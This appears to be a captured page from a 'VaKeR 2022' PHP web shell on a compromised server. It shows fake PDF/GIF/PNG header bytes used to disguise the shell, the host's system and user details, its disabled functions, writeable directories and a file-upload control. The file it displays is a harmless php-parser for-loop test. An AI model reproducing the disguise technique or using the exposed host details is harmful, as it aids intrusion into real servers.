%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/nikic/php-parser/test/code/parser/stmt/loop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/nikic/php-parser/test/code/parser/stmt/loop/for.test
For loop
-----
<?php

// "classical" loop
for ($i = 0; $i < $c; ++$i) {}

// multiple expressions
for ($a, $b; $c, $d; $e, $f) {}

// infinite loop
for (;;) {}

// alternative syntax
for (;;):
endfor;
-----
array(
    0: Stmt_For(
        init: array(
            0: Expr_Assign(
                var: Expr_Variable(
                    name: i
                )
                expr: Scalar_LNumber(
                    value: 0
                )
            )
        )
        cond: array(
            0: Expr_BinaryOp_Smaller(
                left: Expr_Variable(
                    name: i
                )
                right: Expr_Variable(
                    name: c
                )
            )
        )
        loop: array(
            0: Expr_PreInc(
                var: Expr_Variable(
                    name: i
                )
            )
        )
        stmts: array(
        )
        comments: array(
            0: // "classical" loop
        )
    )
    1: Stmt_For(
        init: array(
            0: Expr_Variable(
                name: a
            )
            1: Expr_Variable(
                name: b
            )
        )
        cond: array(
            0: Expr_Variable(
                name: c
            )
            1: Expr_Variable(
                name: d
            )
        )
        loop: array(
            0: Expr_Variable(
                name: e
            )
            1: Expr_Variable(
                name: f
            )
        )
        stmts: array(
        )
        comments: array(
            0: // multiple expressions
        )
    )
    2: Stmt_For(
        init: array(
        )
        cond: array(
        )
        loop: array(
        )
        stmts: array(
        )
        comments: array(
            0: // infinite loop
        )
    )
    3: Stmt_For(
        init: array(
        )
        cond: array(
        )
        loop: array(
        )
        stmts: array(
        )
        comments: array(
            0: // alternative syntax
        )
    )
)

VaKeR 2022